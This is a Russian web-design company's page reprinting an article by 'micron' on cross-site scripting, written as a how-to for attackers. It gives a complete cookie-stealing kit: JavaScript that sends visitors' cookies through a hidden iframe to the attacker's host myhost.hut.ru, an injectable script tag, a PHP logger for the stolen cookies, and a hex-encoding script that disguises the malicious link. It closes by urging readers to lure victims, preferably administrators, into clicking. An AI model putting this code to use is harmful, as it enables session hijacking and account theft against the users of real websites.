РЭДЛАЙН

Лучшие решения для Вас и Вашего бизнеса!
Создание, обслуживание и Продвижение сайтов, Контекстная и Медийная реклама, Регистрация доменов, Хостинг, Редизайн, Аудит сайта, Создание сайтов в Хабаровске, Владивостоке, Москве и по всей России
Заказать услуги
Мы предлагаем
Интернет-форум
Интернет-каталог
Туристический портал
Сделать стартовой
Поиск по сайту
Карта сайта
Задать вопросы
Схема проезда
г.Хабаровск, ул.Гамарника, 15 оф.17 (4212) 658-653, 637-673, 8-924-200-7194, 8-924-200-4895
E-mail: rlhome@list.ru
       
Рэдлайн - Лучшие решения для Вас и Вашего бизнеса

Уважаемые посетители для Вас: быстрое создание, качественное обслуживание и реальное продвижение Интернет-проектов.

Мы предлагаем лучшие решения для Вас и Вашего бизнеса.

Подробнее ...

Большинство людей, стремящихся к цели, способны скорее сделать одно большое усилие, чем упорно идти избранной дорогой; из-за лени и непостоянства они часто утрачивают плоды лучших своих начинаний и дают обогнать себя тем, кто отправился  в путь позднее, чем они, и шел медленней, но зато безостановочно

Лабрюйер Жан де (1645-1696) - французский писатель, мастер афористической публицистики

Главная Программирование XSS-атака. Общий подход.

XSS-атака. Общий подход. Печать E-mail

Итак, сегодня поговорим об атаке XSS. Давайте для начала разберемся с этой аббревиатурой. Дело в том, что ее часто называют CSS, что может сбить с толку новичка. XSS образовано от английской фразы Cross Site Scripting, что дословно переводится как межсайтовый скрптинг. Отсюда видно, что верная аббревиатура CSS. Но CSS уже существует, она означает Cascading Style Sheets – каскадные таблицы стилей. Чтобы не возникало путаницы, принято межсайтовый скриптинг называть не CSS, а XSS. Это тип уязвимости системы, позволяющий внедрять в код страниц HTML-код. Этот тип уязвимости используется не для атаки сервера, а для атаки его пользователей, просматривающих зараженные страницы.

Чем может быть опасна возможность внедрять свой HTML-код? Сам по себе HTML-код не несет в себе опасности, так как возможностей там не так много. Для расширения его возможностей есть поддержка JavaScript – вот его-то и используют хакеры. Потому как JavaScript исполняется на стороне клиента, этот вид атаки направлен именно на клиентов, а не на сервер.

Смысл этой атаки заключается в том, чтобы узнать значения некоторых переменных у пользователя. А чаще всего, узнать хочется значения тех переменных, которые хранятся у пользователя в COOKIES'ах.

JavaScript позволяет получить доступ к COOKIES пользователя следующим образом:

Quote
document.cookie

Это мы учтем. Но мы не можем просто взять и попросить пользователя пройти по ссылке на наш web-сервер, где ему будет выдана страничка, считывающая все COOKIES. Чтобы пользователи так легко не были взломаны, предусмотрена следующая система:

  • COOKIES’ы сортируются по сайтам, которые их установили пользователю
  • Считать COOKIES определенного сайта (например, сайта www.site.ru) может только сайт, установивший ее (в данном случае, только www.site.ru)


Это нам сильно усложняет жизнь. Надо каким-то образом вставить код, отправляющий эти COOKIES нам, на том сайте, который имеет право на считывание этих COOKIES. Для этого мы ищем на сайте любые места, куда мы можем вставить свой HTML-код. Это могут быть как переменные, передаваемые в командной строке, так и любые другие, которые мы можем модифицировать. Где-нибудь на форумах или в чате это могут быть поля ввода сообщений, или же наш собственный ник. Например, можно ввести в качестве ника:

Quote
mi<B>cr</B>on


Если дальше в нике две средние буквы будут отображаться жирным шрифтом, значит в это поле можно внедрять свой HTML-код.

XSS можно условно разделить на 2 вида:

  • Активные – при которых пользователь сразу зайдя на зараженную страницу, отправит нам свои данные.
  • Пассивные – при которых от пользователя потребуются дополнительные действия. Например, надо будет нажать на специально модифицированную ссылку.


Давайте рассмотрим общий прием того, какой HTML-код следует вписывать на страницу. Для начала нам следует зарегистрировать сайт на каком-нибудь хостинге. Можно на бесплатном. Допустим, это будет myhost.hut.ru. На нем создаем файл file.js со следующим содержимым:

Quote
document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http://myhost.hut.ru/file.php'+'?host='+location.host+'&cook='+document.cookie+'"></iframe>');


Это и будет нашим атакующим кодом. А вызывать мы его будем путем вставки на уязвимую страницу следующего кода:

Quote
<script src=http://myhost.hut.ru/file.js></script>


Этот код открывает невидимый фрейм, в котором загружается файл http://myhost.hut.ru/file.php (ему передаются в переменных host и cook хост и COOKIES человека, который открыл страницу). Так как этот фрейм будет являться частью самой зараженной странички, он будет иметь доступ к COOKIES’ам этого сайта. Вот и сбылся наш план – мы запустили php-скрипт на нашем сервере и передали ему данные, полученные другим скриптом (на JavaScript). Самая сложная часть заканчивается. Теперь мы уже в спокойной обстановке у себя на сервере сохраним эти данные в файл. Для этого запишем в файл file.php следующий код:

Quote
<?
$file = fopen("cookies.txt","a");
fputs($file,"[".date("d.m.y H:i")."]: host=".$_GET[‘host’].", COOKIES=”.$_GET[‘cook’].”\r\n");
fclose($file);
?>


Данный код предельно прост – записывает в файл cookies.txt полученные данные.
На этом вобщем-то и заканчивается вся техника. Если для того, чтобы запустить весь описанный механизм от пользователя требуется перейти по определенной ссылке, например:

Quote
http://site.ru/info.php?login=<script src=http://myhost.hut.ru/file.js></script>


то можно зашифровать часть строки (). Так как при переходе по этой ссылке, эта строка будет передаваться в адресной строке браузера, ее можно перевести в шестнадцатеричный код. Для этого можно написать несложный скрипт, пусть он будет называться encodeurl.php:

Quote
<?
$str = urldecode($_GET['str']);
for($i=0;$i<strlen($str);$i++) {
if($str[$i]=='&')
{
echo "$str[$i]";
}
else
{
$hex=dechex(ord($str[$i]));
echo "%$hex";
}
}
?>


И передадим ему параметром str ту часть строки, которую будем шифровать:

Quote
http://myhost.hut.ru/encodeurl.php?str=<script src=http://myhost.hut.ru/file.js></script>


Он выдаст нам следующий текст:

Quote
%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%3a%2f
%2f%6d%79%68%6f%73%74%2e%68%75%74%2e%72%75%2f%66%69%6c%65%2e
%6a%73%3e%3c%2f%73%63%72%69%70%74%3e


Берем нашу специально модифицированную для атаки ссылку (http://site.ru/info.php?login=) и заменяем в ней часть строки на зашифрованную строку:

Quote
http://site.ru/info.php?login=%3c%73%63%72%69%70%74%20%73%72%63%3d%68
%74%74%70%3a%2f%2f%6d%79%68%6f%73%74%2e%68%75%74%2e
%72%75%2f%66%69%6c%65%2e%6a%73%3e%3c%2f%73%63%72%69%70%74%3e


Теперь в глаза не бросается вредоносный код. И мы смело можем упрашивать жертву зайти по этой ссылке. Либо разместить ее на форуме, где кто-нибудь ее нажмет (лучше всего, если это будет администратор wink
Ну вот и все, пожалуй...

Автор: micron
 
Добавить ссылку на страницу:


Новые статьи и публикации



Вступление - Основные (стандартные) возможности и знакомство с сайтом

» Скачать видео-уроки по управлению сайтом от компании "Рэдлайн" (44.6Mb) [...]

Вступление - Основные возможности по управлению сайтом

» Круглосуточная система приема заказов и заявок "Рэдлайн" и клиентская поддержка

Все публикации

Ваше мнение

Откуда Вы узнали о нас?
 
Компания «РэдЛайн» © 2006 - 2011
www.lred.ru (рэдлайн.рф) 680000, г.Хабаровск, ул.Гамарника, 15 оф.17
(4212) 658-653, 637-673, 8-924-200-7194, 8-924-200-4895
E-mail: rlhome@list.ru Авторизация  Администрирование
Заказать услуги (круглосуточно)
Задать вопросы
Поиск по сайту
Карта сайта
Rambler's Top100 Яндекс.Метрика
Заказать сайт » Заказать обслуживание » Заказать рекламу » Предлагаем обменяться ссылками !!! » Добавить в закладки